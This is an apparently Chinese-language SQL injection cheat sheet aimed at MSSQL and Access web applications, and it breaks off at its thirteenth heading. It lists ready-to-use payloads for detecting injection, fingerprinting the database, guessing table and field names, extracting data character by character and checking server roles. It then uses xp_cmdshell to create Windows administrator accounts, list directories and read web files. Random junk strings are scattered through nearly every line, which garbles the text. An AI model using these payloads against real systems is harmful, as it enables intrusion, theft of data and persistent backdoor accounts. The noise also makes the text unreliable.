1.判断是否有注入;and 1=1 ;and 1=2 loD:4e1
2.初步判断是否是mssql ;and user>0 Np?/r}
lrmz'M'
3.注入参数是字符'and [查询条件] and ''=' 7G%^8
ce{!
8p]Krs:
4.搜索时没过滤参数的'and [查询条件] and '%25'=' h@{CMe
`L"l{^cH
5.判断数据库系统 {'o\#4Wk
mW#p&{
;and (select count(*) from sysobjects)>0 mssql GC@U['
~g &Gi)je
;and (select count(*) from msysobjects)>0 access ?V})2wwP
#Qd"d3QG
(o8?j^ -v
wTn"
6.猜数据库 ;and (select Count(*) from [数据库名])>0 8cbgP$X
G TW5f
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 rlkg.e6
6S?*z
`v
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 $u{ 8wF/)
}#E~XlX^
9.(1)猜字段的ascii值(access) bAL!l\&2
y73@t$|
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 0GnbE2&
`BY&&Bv#?
(2)猜字段的ascii值(mssql)
MU~nvs;:
)%9P ;/
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 -;t]e6[
*Ui>NTl
10.测试权限结构(mssql) Z"a]AsG/Q#
zbP#y~[
3o^oq
d=:&tOCg2
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- |I=\+P}s
~f]I0FK
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- J/ ^|Y6
}P"JP[#E\
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- VK?c='zg
R6dD17
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- GA@Zfcg
BW%"]J
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ;PhX[y^*
} T1~fa
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- cG I^IPI
"e~"-B7(\Y
;and 1=(select IS_MEMBER('db_owner'));-- k{j (Gb2sp
U)grC8 C
e025m}%SU
^DS+O>
11.添加mssql和系统的帐户 WjvD C"
q=h~zjQ?R
;exec master.dbo.sp_addlogin username;-- LVp*YOq7
;exec master.dbo.sp_password null,username,password;-- Yet!qmZ
\~bE|jWbj
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 5x; y{qT
hh>mX6A
;exec master.dbo.xp_cmdshell 'net user username password f.&Y_G3a<
J|2OmbJ e
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- O8%Y .SK
FGG7;0(
;exec master.dbo.xp_cmdshell 'net user username password /add';-- F,-S&d
QBiLH]qa
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- yp:_W@
_P*<T6\J>
fUgI*V
-O-qEQd
12.(1)遍历目录 )pAN_e"
@dj2#
;create table dirs(paths varchar(100), id int) DIurFDQSS
^N5BJ'[F:
;insert dirs exec master.dbo.xp_dirtree 'c:\' $}G03G@
.<C}/Cl
;and (select top 1 paths from dirs)>0 @fWmz,Ngl
j7)Xm,wI8
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) A+lP]Oy0S
-Vi"hSsUP
er?'o1M
-S7rOq2Li
(2)遍历目录 }#/,nJm'
o(I[_oUy\
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- AZCbUkq
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 m1k+u)7kD
IP` ;hC
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 D$RQD{*
{1y-*@yU(
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 / ` 7p'i
"s]c79t
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ~ YKBxt
I4Ys,n
Zq--m/
J['paHSF
13.mssql中的存储过程 /2&